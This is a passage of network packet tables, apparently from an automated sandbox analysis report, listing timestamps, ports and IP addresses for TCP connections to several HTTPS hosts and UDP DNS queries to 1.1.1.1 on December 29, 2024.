Dec 29, 2024 05:45:47.109913111 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.110124111 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.110177994 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.110821009 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.110877037 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.155778885 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.159626961 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.159641027 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.159657955 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.159665108 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.207617998 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.207621098 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.588376999 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.588454008 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.588943958 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.588949919 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.666915894 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.666922092 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.470875978 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.470942974 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.470987082 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.471000910 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.471009970 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.471040010 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.471087933 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.471285105 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.471291065 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.471322060 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.474642992 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.474695921 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:48.475142956 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.475485086 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:48.475498915 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:49.738297939 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:49.738356113 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:49.738434076 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:49.739017963 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:49.739037037 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:49.742060900 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:49.742119074 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:49.742274046 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:49.742666006 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:49.742695093 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:49.928986073 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:49.929069042 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:49.929598093 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:49.929604053 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:49.953500986 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:49.953505993 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:50.614308119 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:50.614336967 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:50.615025997 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:50.615434885 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:50.615447998 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:50.856996059 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:50.857055902 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:50.857109070 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:50.857126951 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:50.857254028 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:50.857276917 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:50.857372999 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:50.857372999 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:50.946461916 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:50.946552038 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:50.946654081 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:50.948303938 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:50.948332071 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.060440063 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:51.060534954 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:51.060967922 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:51.060967922 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:51.061068058 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:51.161773920 CET	49919	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:51.161803961 CET	443	49919	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:51.611318111 CET	443	49826	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:51.611388922 CET	443	49826	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:51.612010002 CET	49826	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:51.810981989 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.811264992 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.811286926 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.811662912 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.812165976 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.812231064 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.812469959 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.812560081 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.812592030 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.868119001 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.868391991 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.868438005 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.868745089 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.869035959 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.869105101 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:51.869307995 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.869354010 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:51.869385958 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.462398052 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:52.462480068 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:52.463092089 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:52.463114977 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:52.478818893 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.478873968 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.478936911 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.479341984 CET	49923	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.479356050 CET	443	49923	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.493546963 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:52.493567944 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:52.685323954 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.685604095 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.685617924 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.686605930 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.686667919 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.686989069 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.687052011 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.687186956 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.687196970 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.687252998 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.687267065 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.811156034 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.811218023 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.811290979 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.811634064 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.811634064 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.811690092 CET	443	49924	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.811743021 CET	49924	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.985549927 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.985789061 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.985806942 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.987242937 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.987306118 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.987955093 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.988034010 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.988140106 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.988147974 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:52.988188028 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:52.988235950 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.036036968 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:53.215117931 CET	443	49847	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:53.215171099 CET	443	49847	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:53.215223074 CET	49847	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:53.335959911 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:53.336026907 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:53.336121082 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:53.337780952 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.337871075 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.338329077 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:53.345932961 CET	49930	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:53.345985889 CET	443	49930	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:53.347318888 CET	49927	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:53.347335100 CET	443	49927	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.496189117 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:53.496246099 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:53.496324062 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:53.497615099 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:53.497625113 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:53.516033888 CET	443	49849	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:53.516093969 CET	443	49849	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:53.516211987 CET	49849	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:53.516335964 CET	443	49848	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:53.516387939 CET	443	49848	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:53.516503096 CET	49848	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:53.628648996 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.628915071 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.628983021 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:53.629175901 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:53.629215002 CET	443	49929	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:53.629256964 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:53.629348993 CET	49929	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:54.248219967 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:54.248240948 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:54.248402119 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:54.248594046 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:54.248605967 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.697910070 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.698254108 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.698930979 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.698940039 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.763897896 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.763906002 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.763962984 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.763974905 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.763981104 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.763987064 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.764117002 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.764128923 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.764146090 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.764154911 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.764601946 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.764622927 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.764631033 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.764640093 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:55.766506910 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:55.766516924 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:57.092753887 CET	49847	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:57.092776060 CET	443	49847	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:57.409244061 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:57.409416914 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:57.410873890 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:57.411130905 CET	49941	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:57.411144972 CET	443	49941	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:57.590506077 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:57.590533018 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:57.590699911 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:57.590961933 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:57.590971947 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:59.081934929 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:59.082042933 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:59.082693100 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:59.082699060 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:59.102459908 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:59.102466106 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:46:00.053107023 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:46:00.053177118 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:46:00.053184032 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:46:00.053225994 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:46:00.053253889 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:46:00.053304911 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:46:00.053438902 CET	49952	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:46:00.053448915 CET	443	49952	116.203.14.4	192.168.2.5
Dec 29, 2024 05:46:01.959702969 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:01.959758043 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:01.959829092 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:01.963419914 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:01.963473082 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:01.963551044 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:02.259001970 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:02.259013891 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:02.259110928 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:02.259155989 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:05.995511055 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:46:05.995701075 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:46:05.995760918 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:46:06.252252102 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:46:06.252306938 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:46:06.252388954 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:46:29.287336111 CET	49849	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:29.287347078 CET	443	49849	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:29.287414074 CET	49848	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:29.287431002 CET	443	49848	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:32.161092043 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:46:32.161101103 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:46:32.161102057 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:46:32.161137104 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:46:32.570751905 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:46:32.570776939 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:46:32.570806980 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:46:32.570817947 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:46:34.097296953 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:34.097326040 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:34.097393036 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:34.097562075 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:34.097573042 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:35.352675915 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:35.353080988 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:35.353094101 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:35.353974104 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:35.354077101 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:35.354454041 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:35.354509115 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:35.394383907 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:35.394392014 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:35.441277027 CET	50048	443	192.168.2.5	23.43.85.14
Dec 29, 2024 05:46:36.081536055 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:36.081566095 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:36.084420919 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:36.084588051 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:36.084599972 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:36.612375021 CET	49826	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:46:36.612389088 CET	443	49826	162.159.61.3	192.168.2.5
Dec 29, 2024 05:46:37.391756058 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.392318010 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:37.392328024 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.392606974 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.392889977 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:37.392944098 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.393040895 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:37.435328960 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.898864985 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.898919106 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:37.899007082 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:37.899231911 CET	50053	443	192.168.2.5	23.200.0.42
Dec 29, 2024 05:46:37.899250031 CET	443	50053	23.200.0.42	192.168.2.5
Dec 29, 2024 05:46:54.675884962 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:54.675945044 CET	443	50048	23.43.85.14	192.168.2.5
Dec 29, 2024 05:46:54.675986052 CET	50048	443	192.168.2.5	23.43.85.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 05:44:56.328085899 CET	53017	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:44:56.465373993 CET	53	53017	1.1.1.1	192.168.2.5
Dec 29, 2024 05:44:58.488925934 CET	63282	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:44:59.008294106 CET	53	63282	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:15.171885967 CET	57531	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:15.172055006 CET	55739	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:15.226625919 CET	53	54020	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:15.307900906 CET	53	58117	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:15.308829069 CET	53	57531	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:15.309515953 CET	53	55739	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:18.650495052 CET	53	59702	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:20.097024918 CET	53	56933	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:20.439549923 CET	53	64319	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:29.869237900 CET	62736	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:29.869658947 CET	63754	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:30.006417990 CET	53	63754	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:32.564095020 CET	49502	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:32.564270973 CET	64781	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:33.229223967 CET	51972	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:33.229528904 CET	57806	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:33.366200924 CET	53	51972	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:33.367182970 CET	53	57806	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:34.615850925 CET	64645	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:34.616314888 CET	59544	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:34.616878033 CET	52671	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:34.617114067 CET	58561	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:34.625098944 CET	49184	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:34.625269890 CET	58413	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:34.753145933 CET	53	64645	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:34.753177881 CET	53	59544	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:34.753523111 CET	53	52671	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:34.754317045 CET	53	58561	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:34.762176991 CET	53	49184	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:34.762213945 CET	53	58413	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:35.481519938 CET	61623	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.481698990 CET	64393	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.486068010 CET	58746	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.486335993 CET	56727	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.618382931 CET	53	64393	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:35.619158030 CET	53	61623	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:35.621119976 CET	63537	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.621274948 CET	57691	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.759067059 CET	53	57691	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:35.762130976 CET	50769	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.762415886 CET	55160	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:45:35.902555943 CET	53	55160	1.1.1.1	192.168.2.5
Dec 29, 2024 05:45:36.886670113 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:37.198327065 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:37.464931965 CET	59373	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:37.768450975 CET	59373	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:37.801382065 CET	62166	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:38.127804995 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:38.127819061 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:38.127927065 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:38.127988100 CET	443	62166	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:38.129360914 CET	62166	443	192.168.2.5	172.64.41.3
